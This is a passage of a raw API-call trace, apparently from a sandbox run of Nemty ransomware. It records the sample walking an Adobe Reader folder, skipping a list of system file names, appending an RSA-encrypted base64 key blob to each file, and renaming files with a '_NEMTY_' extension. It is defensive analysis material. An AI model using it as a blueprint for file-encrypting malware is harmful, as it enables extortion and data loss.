cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0170.916] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.KOR", cchWideChar=11, lpMultiByteStr=0x653ec20, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nppdf32.KOR", lpUsedDefaultChar=0x0) returned 11 [0170.916] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0170.916] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0170.916] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.KOR", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0170.917] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.KOR", cchWideChar=11, lpMultiByteStr=0x653ec58, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nppdf32.KOR", lpUsedDefaultChar=0x0) returned 11 [0170.917] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0170.917] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0170.917] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0170.917] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0170.917] Sleep (dwMilliseconds=0x5) [0170.927] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x1986fe90, dwHighDateTime=0x1d561e8)) [0170.927] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x1986fe90, dwHighDateTime=0x1d561e8)) [0170.927] GetLastError () returned 0x0 [0170.927] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0170.927] GetLastError () returned 0x0 [0170.927] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0170.927] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0170.927] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0170.927] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0170.927] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0170.927] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0170.927] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x4f94288 [0170.927] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x4f94288, pcchString=0x653e91c | out: pszString="KpluFSZOvuErSrqruJ0bC9l63eV5dl/hQL8DtROPvc0qMwTC//jpvnd0f3ZC0i57\r\n0YLMeCgyFujf4XDmp4NK171CmaTCdAApg/34FoZbtIBuZPva7SRg/a+Bz5qvMeuU\r\niP5BuxeCvO37W9rRwqUGLpBZbS3et++FU8ytUP0QdaTXJSD5MAbNloK5Tsd3AccB\r\nWdc0bPvpxH7wVr7LEQfjNqDA/yn80VKAcrqsPm5sO/4lwZT+jtYhx8Fq/ZmyJ9xk\r\nX+ROK9GkaVtiZgD/YGgpQnaStmmpmyGSBmVAbxkiSJQMehbMezSUu9BYY4DHLIuf\r\nimBW4Nzurh4sWC3A3AlBTw==\r\n", pcchString=0x653e91c) returned 1 [0170.927] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0170.927] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94288 | out: hHeap=0x4f90000) returned 1 [0170.927] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0170.928] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0170.928] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x4f94288 [0170.928] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0170.928] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\nppdf32.KOR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\browser\\nppdf32.kor"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x254 [0170.928] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=7680) returned 1 [0170.928] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x1e00) returned 0x6352c48 [0170.928] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0170.928] ReadFile (in: hFile=0x254, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x1e00, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653eb64*=0x1e00, lpOverlapped=0x0) returned 1 [0170.930] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0170.930] WriteFile (in: hFile=0x254, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x1e00, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653eb5c*=0x1e00, lpOverlapped=0x0) returned 1 [0170.930] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0170.930] SetFilePointer (in: hFile=0x254, lDistanceToMove=7680, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1e00 [0170.930] WriteFile (in: hFile=0x254, lpBuffer=0x4f94288*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpBuffer=0x4f94288*, lpNumberOfBytesWritten=0x653eb5c*=0x167, lpOverlapped=0x0) returned 1 [0170.930] CloseHandle (hObject=0x254) returned 1 [0170.930] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0170.930] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0170.930] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0170.930] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0170.930] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0170.930] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0170.930] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346fc0 [0170.930] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0170.930] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346fc0 | out: hHeap=0x4f90000) returned 1 [0170.931] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0170.931] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\nppdf32.KOR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\browser\\nppdf32.kor"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\nppdf32.KOR._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\browser\\nppdf32.kor._nemty_kgobjgd_")) returned 1 [0170.931] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0170.931] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0170.931] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0170.931] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94288 | out: hHeap=0x4f90000) returned 1 [0170.931] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0170.931] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0170.931] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0170.931] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0170.931] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d87a080, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1e00, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="nppdf32.NLD", cAlternateFileName="")) returned 1 [0170.931] lstrcmpiW (lpString1="nppdf32.NLD", lpString2=".") returned 1 [0170.931] lstrcmpiW (lpString1="nppdf32.NLD", lpString2="..") returned 1 [0170.931] lstrcmpiW (lpString1="nppdf32.NLD", lpString2="...") returned 1 [0170.931] lstrcmpiW (lpString1="nppdf32.NLD", lpString2="windows") returned -1 [0170.932] lstrcmpiW (lpString1="nppdf32.NLD", lpString2="$RECYCLE.BIN") returned 1 [0170.932] lstrcmpiW (lpString1="nppdf32.NLD", lpString2="rsa") returned -1 [0170.932] lstrcmpiW (lpString1="nppdf32.NLD", lpString2="NTDETECT.COM") returned -1 [0170.932] lstrcmpiW (lpString1="nppdf32.NLD", lpString2="ntldr") returned -1 [0170.932] lstrcmpiW (lpString1="nppdf32.NLD", lpString2="MSDOS.SYS") returned 1 [0170.932] lstrcmpiW (lpString1="nppdf32.NLD", lpString2="IO.SYS") returned 1 [0170.932] lstrcmpiW (lpString1="nppdf32.NLD", lpString2="boot.ini") returned 1 [0170.932] lstrcmpiW (lpString1="nppdf32.NLD", lpString2="boot.ini") returned 1 [0170.932] lstrcmpiW (lpString1="nppdf32.NLD", lpString2="AUTOEXEC.BAT") returned 1 [0170.932] lstrcmpiW (lpString1="nppdf32.NLD", lpString2="ntuser.dat") returned -1 [0170.932] lstrcmpiW (lpString1="nppdf32.NLD", lpString2="desktop.ini") returned 1 [0170.932] lstrcmpiW (lpString1="nppdf32.NLD", lpString2="CONFIG.SYS") returned 1 [0170.932] lstrcmpiW (lpString1="nppdf32.NLD", lpString2="RECYCLER") returned -1 [0170.932] lstrcmpiW (lpString1="nppdf32.NLD", lpString2="BOOTSECT.BAK") returned 1 [0170.932] lstrcmpiW (lpString1="nppdf32.NLD", lpString2="bootmgr") returned 1 [0170.932] lstrcmpiW (lpString1="nppdf32.NLD", lpString2="programdata") returned -1 [0170.932] lstrcmpiW (lpString1="nppdf32.NLD", lpString2="appdata") returned 1 [0170.932] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0170.932] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.NLD", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0170.932] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.NLD", cchWideChar=11, lpMultiByteStr=0x653ebd0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nppdf32.NLD", lpUsedDefaultChar=0x0) returned 11 [0170.932] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0170.932] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.NLD", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0170.932] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.NLD", cchWideChar=11, lpMultiByteStr=0x653ebd0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nppdf32.NLD", lpUsedDefaultChar=0x0) returned 11 [0170.932] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0170.932] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0170.932] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0170.932] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.NLD", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0170.932] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.NLD", cchWideChar=11, lpMultiByteStr=0x653ec20, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nppdf32.NLD", lpUsedDefaultChar=0x0) returned 11 [0170.932] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0170.932] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0170.932] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.NLD", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0170.932] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.NLD", cchWideChar=11, lpMultiByteStr=0x653ec58, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nppdf32.NLD", lpUsedDefaultChar=0x0) returned 11 [0170.932] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0170.932] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0170.932] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0170.933] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0170.933] Sleep (dwMilliseconds=0x5) [0170.942] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x19895ff0, dwHighDateTime=0x1d561e8)) [0170.942] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x19895ff0, dwHighDateTime=0x1d561e8)) [0170.942] GetLastError () returned 0x0 [0170.943] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0170.943] GetLastError () returned 0x0 [0170.943] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0170.943] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0170.943] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0170.943] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0170.943] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0170.943] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0170.943] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x4f94288 [0170.943] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x4f94288, pcchString=0x653e91c | out: pszString="yvDAWDTHjNUsHRTPwQc15xr+UVNbuwUr/vgwJKBh7I6qbGctTSHU2K6QX7KRpJB/\r\nldKTRuCv/osfIEDkifXWMDDifuAbzcwDeyemaRdwKOlRg/QoKXReFNsMEniRz4ZF\r\nxSx0kPTp+lBt46d98Y/Fa9/kOfbFzE0gJ8dFmP0UOb7s2rzRGOfGmBvFYsc7t0HH\r\nRCONZAPE9dd3xupSir+Ow843R1A10ewHQkOpUFk2LNz3FDH0KiCkThQE2r50xeYz\r\nKvUeW2f5ve/jmPGnO43az2YgZopRCG9kvUUP6uZM+6s8R4sXdT31oAJazwf6vyuA\r\nPkNFm0LsLWuLbhW8AF+kUA==\r\n", pcchString=0x653e91c) returned 1 [0170.943] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0170.943] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94288 | out: hHeap=0x4f90000) returned 1 [0170.943] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0170.943] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0170.943] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x4f94288 [0170.943] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0170.943] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\nppdf32.NLD" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\browser\\nppdf32.nld"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x254 [0170.943] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=7680) returned 1 [0170.943] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x1e00) returned 0x6352c48 [0170.944] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0170.944] ReadFile (in: hFile=0x254, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x1e00, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653eb64*=0x1e00, lpOverlapped=0x0) returned 1 [0170.946] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0170.946] WriteFile (in: hFile=0x254, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x1e00, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653eb5c*=0x1e00, lpOverlapped=0x0) returned 1 [0170.946] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0170.946] SetFilePointer (in: hFile=0x254, lDistanceToMove=7680, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1e00 [0170.946] WriteFile (in: hFile=0x254, lpBuffer=0x4f94288*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpBuffer=0x4f94288*, lpNumberOfBytesWritten=0x653eb5c*=0x167, lpOverlapped=0x0) returned 1 [0170.946] CloseHandle (hObject=0x254) returned 1 [0170.946] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0170.946] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0170.946] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0170.946] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0170.946] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0170.946] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0170.946] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346fc0 [0170.946] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0170.946] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346fc0 | out: hHeap=0x4f90000) returned 1 [0170.946] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0170.946] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\nppdf32.NLD" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\browser\\nppdf32.nld"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\nppdf32.NLD._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\browser\\nppdf32.nld._nemty_kgobjgd_")) returned 1 [0170.947] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0170.947] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0170.947] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0170.947] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94288 | out: hHeap=0x4f90000) returned 1 [0170.947] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0170.947] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0170.947] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0170.947] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0170.947] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d8a01e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1e00, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="nppdf32.NOR", cAlternateFileName="")) returned 1 [0170.947] lstrcmpiW (lpString1="nppdf32.NOR", lpString2=".") returned 1 [0170.947] lstrcmpiW (lpString1="nppdf32.NOR", lpString2="..") returned 1 [0170.947] lstrcmpiW (lpString1="nppdf32.NOR", lpString2="...") returned 1 [0170.947] lstrcmpiW (lpString1="nppdf32.NOR", lpString2="windows") returned -1 [0170.947] lstrcmpiW (lpString1="nppdf32.NOR", lpString2="$RECYCLE.BIN") returned 1 [0170.947] lstrcmpiW (lpString1="nppdf32.NOR", lpString2="rsa") returned -1 [0170.947] lstrcmpiW (lpString1="nppdf32.NOR", lpString2="NTDETECT.COM") returned -1 [0170.947] lstrcmpiW (lpString1="nppdf32.NOR", lpString2="ntldr") returned -1 [0170.947] lstrcmpiW (lpString1="nppdf32.NOR", lpString2="MSDOS.SYS") returned 1 [0170.947] lstrcmpiW (lpString1="nppdf32.NOR", lpString2="IO.SYS") returned 1 [0170.947] lstrcmpiW (lpString1="nppdf32.NOR", lpString2="boot.ini") returned 1 [0170.947] lstrcmpiW (lpString1="nppdf32.NOR", lpString2="boot.ini") returned 1 [0170.947] lstrcmpiW (lpString1="nppdf32.NOR", lpString2="AUTOEXEC.BAT") returned 1 [0170.947] lstrcmpiW (lpString1="nppdf32.NOR", lpString2="ntuser.dat") returned -1 [0170.947] lstrcmpiW (lpString1="nppdf32.NOR", lpString2="desktop.ini") returned 1 [0170.947] lstrcmpiW (lpString1="nppdf32.NOR", lpString2="CONFIG.SYS") returned 1 [0170.947] lstrcmpiW (lpString1="nppdf32.NOR", lpString2="RECYCLER") returned -1 [0170.947] lstrcmpiW (lpString1="nppdf32.NOR", lpString2="BOOTSECT.BAK") returned 1 [0170.947] lstrcmpiW (lpString1="nppdf32.NOR", lpString2="bootmgr") returned 1 [0170.947] lstrcmpiW (lpString1="nppdf32.NOR", lpString2="programdata") returned -1 [0170.947] lstrcmpiW (lpString1="nppdf32.NOR", lpString2="appdata") returned 1 [0170.947] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0170.947] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.NOR", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0170.947] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.NOR", cchWideChar=11, lpMultiByteStr=0x653ebd0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nppdf32.NOR", lpUsedDefaultChar=0x0) returned 11 [0170.948] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0170.948] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.NOR", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, 